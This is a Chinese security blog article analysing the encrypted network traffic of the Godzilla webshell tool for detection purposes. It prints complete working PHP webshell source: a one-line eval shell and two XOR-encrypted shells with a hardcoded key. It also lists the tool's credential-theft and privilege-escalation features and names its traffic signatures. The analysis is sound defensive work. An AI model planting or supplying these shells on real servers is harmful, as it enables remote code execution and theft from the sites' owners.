webshell工具--Godzilla加密流量分析

admin 2024年10月14日19:30:29评论61 views字数 4504阅读15分0秒阅读模式

哥斯拉(Godzilla)是由Java开发的一款Webshell管理工具,支持多种类型的Webshell,支持加通信流量加密。

哥斯拉v4.0.1:https://github.com/BeichenDream/Godzilla/releases/tag/v4.0.1-godzilla

依赖环境:jdk1.8

哥斯拉支持jsp、php、aspx等多种载荷,PHP使用异或加密。java和c#的载荷原生实现AES加密。

哥斯拉主要功能

(1)MSF联动
(2)绕过OpenBasedir
(3)ZIP压缩 ZIP解压
(4)代码执行
(5)绕过 DisableFunctions
(6)Mimikatz
(7)读取服务器 FileZilla Navicat Sqlyog Winscp XMangager 的配置信息以及密码
(8)虚拟终端 可以用netcat连接
(9)Windows权限提升 (2012-2019烂土豆)
(10)读取服务器 谷歌 IE 火狐 浏览器保存的账号密码
(11)Windows权限提升烂土豆的C#版本 甜土豆
(12)支持 哥斯拉 冰蝎 菜刀 ReGeorg 的内存shell 并且支持卸载
(13)屏幕截图
(14)Servlet管理 Servlet卸载
(15)内存加载Jar 将Jar加载到 SystemClassLoader

 

哥斯拉流量特征

Accept 字段(弱特征)

JDK 引入的一个特征,并不是自定义的 Accept

webshell工具--Godzilla加密流量分析

cookie(强特征)

在请求包 cookie 中有一个非常明显的就是末尾带分号

webshell工具--Godzilla加密流量分析

响应体

从代码可以看到它是把一串 32 位的 md5 字符串等量拆分后分别放在 base64 编码的前后。总体的结构便为:前 16 位 md5+base64 编码 + 后 16 位 md5

webshell工具--Godzilla加密流量分析

jsp和php木马类似,jsp的木马流量同样进行三次请求,请求数据同样是加密的,响应包也有类似结构。同样存在Accept字段弱特征,和Cookie中最后会有个分号。这里主要分析php shell。

php shell

管理 -> 生成 -> 有效载荷PhpDynamicPayload

加密器分类

webshell工具--Godzilla加密流量分析

php加密原理

XOR:异或运算
  定义:两个值相同时,返回false,否则返回true。也就是说,XOR可以用来判断两个值是否不同
  二进制XOR运算符:^   两个二进制位相同,就返回0,表示false;否则返回1,表示true
  
XOR:加密
    加密原理:
        1、将明文和密钥转换为二进制形式。
        2、对每一位明文和密钥进行异或运算。异或运算的规则是:如果两个对应的位相同,则结果为0,如果不同则结果为1。
        3、异或运算的结果即为密文。
    解密原理:xOR加密对一个值连续做两次XOR,会返回这个值本身
        对密文再次使用相同的密钥进行异或运算,即可得到之前的明文。
    示例:
        明文:1010 1100
        密钥:1111 0000
        加密过程:1010 1100 ⊕ 1111 0000 = 0101 1100 (密文)
        解密过程:0101 1100 ⊕ 1111 0000 = 1010 1100 (明文)

加密器生成的 php shell

1、PHP_EVAL_XOR_BASE64 生成的shell:

<?php
eval($_POST["pass"]);

加密特点:

1、 请求包的密文形式:pass=evalContent&key=XXXXXXXX,其中pass是shell密码,key是shell密钥
2、 每个请求中的pass=evalContent都是相同的,evalContent是将shells/cryptions/phpXor/template/base64.bin文件内容经过编码得到的(先删除第1行的<?php,再将其中的{pass}替换为shell密码,将{secretKey}替换为shell密钥)
3、请求中的key=XXXXXXXX才是实际执行的shell操作,加密方法和PHP_XOR_BASE64加密shell的方式相同

webshell工具--Godzilla加密流量分析

2、PHP_XOR_BASE64 生成的shell:

哥斯拉将payload进行base64编码。还将编码后的内容做了字符反装。

<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
#encode()函数用于对数据进行异或加密,待加密的数据$D和$K密钥。
function encode($D,$K){  
    for($i=0;$i<strlen($D);$i++) {
        $c = $K[$i+1&15];
        $D[$i] = $D[$i]^$c;
    }
    return $D;
}
#$pass: 密码参数的名称
$pass='pass';
#$payloadName: 有效载荷参数的名称
$payloadName='payload';
#$key: 密钥
$key='3c6e0b8a9c15224a';
#将接收到的pass经过Base64解码,然后使用密钥进行异或解密。判断是否设置有效载荷参,将载荷数据密钥解密,并检查是否包含字符串“getBasicsInfo”。如果不包含则再次对载荷数据进行解密,然后eval()函数执行解密后的Payload。
if (isset($_POST[$pass])){
    $data=encode(base64_decode($_POST[$pass]),$key);
    if (isset($_SESSION[$payloadName])){
        $payload=encode($_SESSION[$payloadName],$key);
        if (strpos($payload,"getBasicsInfo")===false){
            $payload=encode($payload,$key);
        }
  eval($payload);
        echo substr(md5($pass.$key),0,16);
        echo base64_encode(encode(@run($data),$key));
        echo substr(md5($pass.$key),16);
    }else{
        if (strpos($data,"getBasicsInfo")!==false){
            $_SESSION[$payloadName]=encode($data,$key);
        }
    }
}

 

3、PHP_XOR_RAW 生成的shell:

和PHP_XOR_BASE64 生成的shell类似,不同点在于data数据读取的是php://input中的数据流,即读取http原始请求体中的数据流

<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
    for($i=0;$i<strlen($D);$i++) {
        $c = $K[$i+1&15];
        $D[$i] = $D[$i]^$c;
    }
    return $D;
}
$payloadName='payload';
$key='3c6e0b8a9c15224a';
$data=file_get_contents("php://input");
if ($data!==false){
    $data=encode($data,$key);
    if (isset($_SESSION[$payloadName])){
        $payload=encode($_SESSION[$payloadName],$key);
        if (strpos($payload,"getBasicsInfo")===false){
            $payload=encode($payload,$key);
        }
  eval($payload);
        echo encode(@run($data),$key);
    }else{
        if (strpos($data,"getBasicsInfo")!==false){
            $_SESSION[$payloadName]=encode($data,$key);
        }
    }
}

 

分析PHP_EVAL_XOR_BASE64包:

webshell工具--Godzilla加密流量分析

点击测试连接得到三个包

第一个请求和响应包:

作用:发送payload,通过木马存入SESSION---响应包返回PHPSESSID

第一次请求的数据包通常要比后面两个数据包要大,而且第一个请求包的http响应体是空的:

webshell工具--Godzilla加密流量分析

第二个请求和响应包:

作用:调用payload中的test函数,如果有返回证明连接建立。

webshell工具--Godzilla加密流量分析

请求包中:key解密后为methhdName test,在payload释放后key中的信息在echo base64_encode(encode(@run($data),$key));被传入了位于payload的run()函数

webshell工具--Godzilla加密流量分析

数据包会携带响应数据包设置的Cookie值,http响应体是一段相对固定长的串,长度为64个字节,可以分为前16字节,中间32字节,结尾16字节。

先调用findStr函数删除服务器响应数据左右附加的混淆字符串,然后将得到的数据进行base64解码,最后再和shell连接密钥md5值的前16位按位异或,即完成响应数据的解密。

第三个请求和响应包:

作用:调用了payload中的getBasicsInfo函数,用于读取服务器的详细信息,整理后返回。

请求包中:运行命令执行代码中的 methhdName getBasicsInfo函数得到的系统基本信息

webshell工具--Godzilla加密流量分析

由于哥斯拉对响应报文格式的设计,一个32位的md5字符串会被拆分为两部分,分别放在base64编码数据的前后,所以第三次响应包和第二次响应包的前16个字节和后16个字节是一样的。

基本上无论哥斯拉生成的什么语言的木马(php,asp,jsp,cs),连接时都是发送三个数据包,第一个数据包请求体明显大量,后两个明显较小,且第二个数据包返回内容为加密后的ok,第三个数据包返回内容为目标的基本环境信息。

在哥斯拉流量中除了xor_raw加密方式(该方式流量中全是乱码),基本上都会呈现出形如pass=WwSelqL9JENiXyh3的格式,该格式下参数名为生成木马时设置的pass。xor_raw外的一些加密方式(eval_base64)会在流量中看出eval和base64加密函数。

原文始发于微信公众号(红队蓝军):webshell工具--Godzilla加密流量分析

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月14日19:30:29
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   webshell工具--Godzilla加密流量分析https://cn-sec.com/archives/3267525.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息